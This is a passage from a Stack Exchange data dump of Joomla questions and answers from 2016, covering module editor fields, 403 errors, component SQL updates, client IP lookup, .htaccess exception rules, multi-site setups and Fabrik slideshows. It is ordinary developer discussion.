opposed to in the JSON string of &lt;code&gt;params&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact it has its own field suggests to me that this might be the best practise way to add an editor to a module, but it seems odd that it's so rarely mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do Joomla intend you to use this tag?  Is it best practise?&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2019-04-17T19:01:38.817" Title="&lt;customContent /&gt; or &lt;field type=&quot;editor&quot;&gt;" Tags="|joomla-3.x|module|module-params|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16298" PostTypeId="2" ParentId="10476" CreationDate="2016-04-24T22:04:07.963" Score="0" Body="&lt;p&gt;I see this has been answered as a Mootools / JQuery conflict.  It is worth noting that Mootools has been deprecated in Joomla 3, though I believe is still sometimes used in the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact your site has Mootools and JQuery suggests that your template (or possibly some other extension) may be getting out-of-date, or your site unpatched if you are using a core template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up-to-date Joomla sites should be using JQuery only - it is probably worth looking into where and why Mootools is still being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details: &lt;a href=&quot;https://docs.joomla.org/J3.x:Javascript_Frameworks&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Javascript_Frameworks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-04-24T22:04:07.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16299" PostTypeId="1" CreationDate="2016-04-25T07:03:33.873" Score="0" ViewCount="290" Body="&lt;p&gt;I have a joomla site that is set to registered permissions only. Currently, everything works fine after migrating it to another folder, but when my users log in and AFK for a bit of time and then come back, they are given 403 errors after navigating to another area on the site or sometimes when refreshing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked htaccess and category/article permissions, cleared caches, and emptied all trash, but the problem still persists. At the moment, I am not able to reproduce as it seems to happen randomly, but my users are reporting this happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be greatly appreciated, it is becoming a bit frustrating not being able to correctly identify the problem. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8273" LastActivityDate="2016-05-24T18:05:13.083" Title="Random Joomla 403 Errors after Logging in" Tags="|.htaccess-configuration|jerror|" AnswerCount="1" CommentCount="4" ClosedDate="2016-04-27T00:05:19.080" ContentLicense="CC BY-SA 3.0" />
  <row Id="16300" PostTypeId="2" ParentId="16296" CreationDate="2016-04-25T09:15:25.790" Score="2" Body="&lt;p&gt;I've tried doing some research on this of my own as I was interested to see what purpose it served.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking through some Github issues, it has been noted that &lt;code&gt;customContent&lt;/code&gt; is valid, however undocumented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then however found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/schemas/blob/master/xsd/v3/module.xsd#L30&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/schemas/blob/master/xsd/v3/module.xsd#L30&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the the valid attributes and elements allowed in a module XML file. So it makes me wonder if &lt;code&gt;&amp;lt;customContent /&amp;gt;&lt;/code&gt; should be used in places other than core or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion would be to stick with &lt;code&gt;&amp;lt;field type=&quot;editor&quot;&amp;gt;&lt;/code&gt;, as this ensure you're using the standard/default Joomla practice and also allows you to use additional attributes such as &lt;code&gt;label&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt;, etc.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-25T09:15:25.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16301" PostTypeId="2" ParentId="16289" CreationDate="2016-04-25T09:42:55.150" Score="1" Body="&lt;p&gt;Just an FYI, there's no way to always get the real IP address as it may be proxied. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on &lt;a href=&quot;https://stackoverflow.com/a/5785956/1362108&quot;&gt;the following answer on Stack Overflow&lt;/a&gt;, you could use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getRealIpAddr()&#xA;{&#xA;    $server = JFactory::getApplication()-&amp;gt;input-&amp;gt;server;&#xA;&#xA;    if (!empty($server-&amp;gt;get('HTTP_CLIENT_IP')))    //check ip from share internet&#xA;    {&#xA;        $ip = $server-&amp;gt;get('HTTP_CLIENT_IP');&#xA;    }&#xA;    elseif (!empty($server-&amp;gt;get('HTTP_X_FORWARDED_FOR')))  //to check ip is pass from proxy&#xA;    {&#xA;        $ip = $server-&amp;gt;get('HTTP_X_FORWARDED_FOR');&#xA;    }&#xA;    else&#xA;    {&#xA;        $ip = $server-&amp;gt;get('REMOTE_ADDR');&#xA;    }&#xA;&#xA;    return $ip;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-04-25T09:42:55.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16302" PostTypeId="1" CreationDate="2016-04-25T09:48:13.257" Score="0" ViewCount="539" Body="&lt;p&gt;As the title says I'm using joomla 3.4.8 I'm trying to customize the system component &quot;com_content&quot; what I want to do is to add an another columns on the '#__content&quot; table in the database but the query in sql file is not executing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also aware that I have to change the version of the com_content and the sql filename must be the version of the component. Please note that I didn't change anyting on the content.xml file I just added this tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;!-- Runs on update; New in 2.5 --&amp;gt;&#xA;    &amp;lt;update&amp;gt; &#xA;        &amp;lt;schemas&amp;gt;&#xA;            &amp;lt;schemapath type=&quot;mysql&quot;&amp;gt;sql/updates/mysql&amp;lt;/schemapath&amp;gt;&#xA;        &amp;lt;/schemas&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the query I want to run in my /sql/mysql/3.1.0.sql&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `#__content` ADD COLUMN `ucm_history_id` int(11), &#xA;ADD COLUMN `preview_dashboard_name` varchar(250), &#xA;ADD COLUMN `published_dashboard_name` varchar(250), &#xA;ADD COLUMN `published_dashboard_script` mediumtext, &#xA;ADD COLUMN `preview_workbook_name` varchar(250),&#xA;ADD COLUMN `published_workbook_name` varchar(250),&#xA;ADD COLUMN `preview_dashboard` tinyint(3),&#xA;ADD COLUMN `show_files` tinyint(3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2016-04-25T10:38:32.283" Title="Joomla 3.4.8 Component SQL Update Not Working" Tags="|component|update|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16303" PostTypeId="2" ParentId="16302" CreationDate="2016-04-25T10:31:19.260" Score="0" Body="&lt;p&gt;I do not know if this is hacky but I successfully added new columns in '#__content&quot; table by creating another component that its task is just to alter '#__content' table and add the columns I needed.&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2016-04-25T10:31:19.260" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16304" PostTypeId="2" ParentId="16302" CreationDate="2016-04-25T10:38:32.283" Score="2" Body="&lt;p&gt;For the sake of answering your actual question, it is likely to be an issue with version numbers - make sure it is above the version in the database.  Also note that there is the &lt;em&gt;version of Joomla&lt;/em&gt; in the extension tag, and the &lt;em&gt;component version&lt;/em&gt; in its own tag.  Don't get these muddled.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important :&lt;/strong&gt; You should not be touching the core files or database structure in any way, as patching the site may override your changes or cause other problems.  For example, changing the version number on a core component could mean Joomla's own database updates may not be applied. On the patching note, you should not be on 3.4.8, any more.  Unpatched sites, especially for security updates, are increasing their risk of being hacked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add new fields to com_component, use the existing attribs field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a guide to doing this with a plugin &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are making major changes to a core component, then that suggests it is time for a bespoke component to be built.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-04-25T10:38:32.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16305" PostTypeId="2" ParentId="14827" CreationDate="2016-04-25T11:02:01.397" Score="1" Body="&lt;p&gt;Edit each article and add the search term to the Meta Keywords under the Publishing tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smart search indexes the Meta Keywords so searching on a search term using Smart Search will return all the relevant articles.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-25T11:02:01.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16306" PostTypeId="2" ParentId="14749" CreationDate="2016-04-25T11:06:52.200" Score="0" Body="&lt;p&gt;This likely depends on the menu or template that is in use on your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per the comments, try one or more of the default templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can likely achieve the behaviour you are after by overriding the CSS of the template using a custom CSS file or similar (see &lt;a href=&quot;https://joomla.stackexchange.com/a/3878/120&quot;&gt;https://joomla.stackexchange.com/a/3878/120&lt;/a&gt; for details).&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-08-10T10:20:48.537" LastActivityDate="2019-08-10T10:20:48.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16307" PostTypeId="2" ParentId="2412" CreationDate="2016-04-25T11:18:27.973" Score="-1" Body="&lt;p&gt;This is for Joomla 2.5. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params = &amp;amp;$app-&amp;gt;getParams();&#xA;&#xA;# Get page title&#xA;$pageclass = $params-&amp;gt;get('page_title');&#xA;&#xA;# Convert title to alias&#xA;$pageclass = str_replace(' ', '-' ,strtolower($pageclass));&#xA;&#xA;var_dump($pageclass);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7765" LastActivityDate="2016-04-25T11:18:27.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16308" PostTypeId="2" ParentId="10911" CreationDate="2016-04-25T12:52:44.230" Score="1" Body="&lt;p&gt;It might be clearer if you explain how you have set up 2 domains and 2 templates with one Joomla installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, you should be able to set up separate menu options that point to the same article and assign the relevant templates in the template settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be easier to set this up using a multi site extension such as &lt;a href=&quot;http://extensions.joomla.org/extension/virtual-domains&quot; rel=&quot;nofollow&quot;&gt;Virtual Domains&lt;/a&gt; or similar if you haven't already.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-25T12:52:44.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16309" PostTypeId="2" ParentId="13473" CreationDate="2016-04-25T13:06:44.817" Score="1" Body="&lt;p&gt;&lt;strong&gt;Joomla 2.5 only:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In Users -&gt; Groups, create a new user group called &quot;Guest&quot; with Group Parent = Public&lt;/li&gt;&#xA;&lt;li&gt;In Users -&gt; Access Levels, create an Access Level called &quot;Guest&quot; with access for the &quot;Guest&quot; user group&lt;/li&gt;&#xA;&lt;li&gt;In Users -&gt; User Manager options, set the Guest User Group to &quot;Guest&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla 2.5 and 3.x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a &quot;Login&quot; menu option or module etc and assign it to the &quot;Guest&quot; access level so that it is only visible to non-logged in users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a &quot;Logout&quot; menu option or module etc and assign it to the &quot;Registered&quot; access level so that it is only visible to non-logged in users.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-04-25T13:11:46.137" LastActivityDate="2016-04-25T13:11:46.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16310" PostTypeId="2" ParentId="12368" CreationDate="2016-04-25T13:10:27.000" Score="1" Body="&lt;p&gt;Your site has been compromised. You need to take immediate actions, to clean it up and secure it. &#xA;You should hire experts, If you are in doubt or don't know how to proceed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check these topics for further help: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/search?q=hacked&quot;&gt;Joomla Site Hacked&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/175/how-to-secure-a-new-joomla-installation&quot;&gt;Secure Joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Security Checklist&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/11036763/joomla-2-5-4-hacked-having-trouble-with-diagnosis/11037642#11037642&quot;&gt;Joomla! 2.5.4 Hacked: Having trouble with diagnosis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-04-25T13:10:27.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16311" PostTypeId="2" ParentId="16299" CreationDate="2016-04-25T13:24:05.113" Score="0" Body="&lt;p&gt;If you are using the master .htaccess by Nicholas K. Dionysopoulos, scroll down and look for &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;########## Begin - Advanced server protection rules exceptions ####&#xA;#These are sample exceptions to the Advanced Server Protection 3.1&#xA;# rule set further down this file.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add single files using his examples and add entire folders like below.  Make sure you put / between subfolder names.  These are the ones I just keep in the .htaccess I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;### MULTIMEDIA&#xA;RewriteRule ^plugins/content/jw_allvideos/includes/jw_allvideos_scripts\.php$ - [L]&#xA;### AKEEBA&#xA;RewriteRule ^administrator/components/com_akeeba/restore\.php$ - [L]&#xA;RewriteRule ^administrator/components/com_admintools/restore\.php$ - [L]&#xA;RewriteRule ^kickstart\.php$ - [L]&#xA;### MIJOSHOP PERMISSIONS ###&#xA;RewriteRule ^plugins\/system\/mijoshopjquery\/mijoshopjquery/ - [L]&#xA;### RSJOOMLA ###&#xA;RewriteRule ^components\/com_rsform\$ - [L]&#xA;### WIDGETKIT ##&#xA;RewriteRule ^cache\/widgetkit/ - [L]&#xA;RewriteRule ^component\/widgetkit/ - [L]&#xA;RewriteRule ^cache\/com_zoo/ - [L]           &#xA;### ALLOW TEMPLATE ###&#xA;RewriteRule ^administrator\/component\/com_gantry/ - [L]&#xA;RewriteRule ^administrator\/templates\/isis/ - [L]&#xA;RewriteRule ^cache\/Gantry/ - [L]&#xA;RewriteRule ^cache\/GantryLess/ - [L]&#xA;RewriteRule ^component\/com_gantry/ - [L]&#xA;RewriteRule ^libraries\/gantry/ - [L]&#xA;RewriteRule ^media\/system/js/ - [L]&#xA;RewriteRule ^plugins\/system\/gantry/ - [L]&#xA;RewriteRule ^templates\/TEMPLATE_NAME/ - [L]&#xA;RewriteRule ^libraries\/gantry\/admin/ - [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also add this (also from master .htaccess):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Referrer filtering for common media files. Replace with your own domain name.&#xA;## This blocks most common fingerprinting attacks ;)&#xA;## Note: Change www\.example\.com with your own domain name, substituting the&#xA;## dots with \.  i.e. use www\.example\.com for www.example.com&#xA;RewriteRule ^images/stories/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|ico)$ - [L]&#xA;RewriteCond %{HTTP_REFERER} .&#xA;RewriteCond %{HTTP_REFERER} !^https?://(www\.)?example\.com [NC]&#xA;RewriteCond %{REQUEST_FILENAME} -f&#xA;RewriteRule \.(jp(e?g|2)?|png|gif|bmp|css|js|swf|ico|less|json)$ - [F]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="464" LastEditorUserId="464" LastEditDate="2016-05-24T18:05:13.083" LastActivityDate="2016-05-24T18:05:13.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16312" PostTypeId="2" ParentId="10911" CreationDate="2016-04-25T16:07:52.780" Score="1" Body="&lt;p&gt;I have achieved that using &lt;a href=&quot;http://extensions.joomla.org/tags/multiple-sites&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multi-Sites&lt;/a&gt; extensions. I have tried the &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/mightysites&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mighty-Sites&lt;/a&gt; and &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/multi-sites&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Multi-Sites&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Both can be configured to share database content - although Multi-sites will require additional plugin to share Joomla articles.&lt;/p&gt;&#xA;&lt;p&gt;I also trust Neil's opinion about the Virtual Domains, although I have never tried that extension - I have seen him speaking highly on it in other posts, where he explains its options:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2489/multiple-website-managment-with-joomla/14799#14799&quot;&gt;Multiple website managment with Joomla?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also, the one that Johnny_s shared with his comment - &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/content-sharing/articles-sharing/simple-sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;simple article sharing&lt;/a&gt; seems a promising one.&lt;/p&gt;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;Links to connect this with other relevant Q/A:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2489/multiple-website-managment-with-joomla/14782#14782&quot;&gt;Multiple website managment with Joomla?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16547/how-to-update-an-online-website/16551#16551&quot;&gt;How to update an online website?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16264/mass-joomla-sites-updates-maintenance/16267#16267&quot;&gt;Mass Joomla sites Updates / Maintenance&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4809/single-source-many-joomla-sites-on-a-server-how-could-it-be-possible/4837#4837&quot;&gt;Single source many Joomla sites on a server. How could it be possible?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/419/is-there-a-way-to-promote-articles-between-environments&quot;&gt;Is there a way to promote articles between environments?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/126/how-do-you-update-a-website-once-it-has-gone-live/135#135&quot;&gt;How do you update a website once it has gone live?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-06-23T08:17:59.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16313" PostTypeId="1" AcceptedAnswerId="16360" CreationDate="2016-04-25T16:22:27.013" Score="0" ViewCount="881" Body="&lt;p&gt;I've tried moving my site and my script to get the Joomla User Information is returning 0 (the guest account) despite being logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only change I had to make, once moving servers, was the location of the $JRoot folder to match the new server layout.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$temp = $_SERVER['DOCUMENT_ROOT'];&#xA;$temp = str_replace(&quot;one_url&quot;, &quot;another_url&quot;, $temp);&#xA;if($_SERVER['SERVER_ADDR'] =='::1') {&#xA;    $JRoot = $temp;&#xA;} else {&#xA;    $JRoot = $temp;&#xA;}&#xA;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', $JRoot );&#xA;define('JPATH_ROOT', $JRoot );&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;$defines = $JRoot . &quot;/includes/defines.php&quot;;&#xA;$framework = $JRoot . &quot;/includes/framework.php&quot;;&#xA;echo &quot;defines: &quot; . $defines . &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;echo &quot;DS:&quot; . DS  . &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;require_once ($defines);&#xA;require_once ($framework);&#xA;&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&#xA;function GetJoomUser() {&#xA;    $user = JFactory::getUser();&#xA;    $JomUser['id'] = $user-&amp;gt;id;&#xA;    $JomUser['usergroups'] = $user-&amp;gt;groups; &#xA;    $JomUser['username'] = $user-&amp;gt;username;&#xA;    print_r($user);&#xA;    return $JomUser;&#xA;}&#xA;function getJoomlaUsername($id) {&#xA;    $user = JFactory::getUser($id);&#xA;    $username=$user-&amp;gt;get('username');&#xA;    return $username;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is working because I've used file_exists statements (in testing) to assure defines &amp;amp; framework are being found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When logged in, I can see my User Profile so I know that I'm successfully logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why is $user printing out the Guest information?&lt;/p&gt;&#xA;" OwnerUserId="7700" LastActivityDate="2016-04-27T17:44:30.057" Title="getUser() returns 0 when logged in" Tags="|php|joomla-3.4|user|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16314" PostTypeId="2" ParentId="13473" CreationDate="2016-04-25T16:41:36.110" Score="1" Body="&lt;p&gt;Take a look at a small module I added to the JSE GitHub repository: &lt;a href=&quot;https://github.com/Joomla-StackExchange/loginButton&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-StackExchange/loginButton&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works exactly as you've described, it shows a login text to guests (can be customized and styled as button), and a logout-link to logged-in users (text and layout can also be customized). No popups, no jQuery, just a simple link.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-04-25T16:41:36.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16316" PostTypeId="1" AcceptedAnswerId="16349" CreationDate="2016-04-25T19:50:06.960" Score="1" ViewCount="559" Body="&lt;p&gt;I am building a Joomla site using Fabrik to display a list of items. The visitor clicks on a row in the list and it expands to a detail view. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of having a simple image in the detail view, I want one item in the detail view to be a slideshow of 3 or more images. I am at pains to find out how to do this. As near as I can determine there is nothing in the Fabrik tutorials or documentation on where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the forum posts I have read are made by people who seem to already know how to make a slide show, and are asking more advanced technical questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, I do not know where to start. I would have assumed that by creating an image element and choosing Slideshow as a display property, I would get a slide show of images in the specified directory. Alas, no. It only shows a still image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction to get started?&lt;/p&gt;&#xA;" OwnerUserId="8260" LastEditorUserId="126" LastEditDate="2016-04-26T19:23:34.120" LastActivityDate="2016-04-27T12:17:49.837" Title="Fabrik slideshow basics" Tags="|joomla-3.4|fabrik|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16317" PostTypeId="2" ParentId="16295" CreationDate="2016-04-25T20:54:27.320" Score="3" Body="&lt;p&gt;Mea culpa,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to add the name of the  group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;setFieldAttribute('test', 'country', 'US', 'personal');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2016-04-25T20:54:27.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16318" PostTypeId="1" AcceptedAnswerId="16363" CreationDate="2016-04-25T21:01:04.450" Score="1" ViewCount="850" Body="&lt;p&gt;I would like to save user-inputs (Form with multiple text-fields) from the frontend of my component using (admin-) &lt;code&gt;JTable&lt;/code&gt;.&#xA;In this case I would like to save a new comment to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I could do it in the controller (overwrite the save-method) but I guess it would be better if I'd use the model and overwrite the save-method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any example how to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards :-)&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2016-04-27T18:51:55.887" Title="Use JTable to save frontend-data" Tags="|custom-component|jtable|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16319" PostTypeId="1" CreationDate="2016-04-25T21:22:19.447" Score="2" ViewCount="417" Body="&lt;p&gt;I created a filter for the backend of my component like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field  name        =       &quot;category_id&quot;&#xA;        type        =       &quot;category&quot;&#xA;        label       =       &quot;JOPTION_FILTER_CATEGORY&quot;&#xA;        extension   =       &quot;com_bestia.items&quot;&#xA;        description =       &quot;JOPTION_FILTER_CATEGORY_DESC&quot;&#xA;        onchange    =       &quot;this.form.submit();&quot; &amp;gt;&#xA;            &amp;lt;option value   =   &quot;&quot;&amp;gt;JOPTION_SELECT_CATEGORY&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added the filter to my view by adding this to my view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $this-&amp;gt;filterForm   =   $this-&amp;gt;get('FilterForm');&#xA;    $this-&amp;gt;activeFilters=   $this-&amp;gt;get('ActiveFilters');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this to my layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    echo JLayoutHelper::render('joomla.searchtools.default', array('view' =&amp;gt; $this));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, this works great, but if I change the state of the item by clicking on the little button next to each entry, which is defined like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;td class=&quot;small&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('jgrid.published', $item-&amp;gt;state, $i, 'items.', $canChange, 'cb'); ?&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the filter is not working anymore. It is still checked but the view shows results of all components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to fix that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: This is the contractor of the model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct($config = array()) &#xA;{&#xA;    if (empty($config['filter_fields'])) {&#xA;        $config['filter_fields']    =   array(&#xA;                                                'id', 'a.id',&#xA;                                                'title', 'a.title', &#xA;                                                'catid', 'nc.catid', 'category_title',                                          &#xA;                                                'state', 'a.state',&#xA;                                                'created_by', 'a.created_by'&#xA;                                                );&#xA;    }&#xA;&#xA;    parent::__construct($config);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the populateState-method of the model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * populateState function.&#xA; * &#xA; * @access protected&#xA; * @param mixed $ordering (default: null)&#xA; * @param mixed $direction (default: null)&#xA; 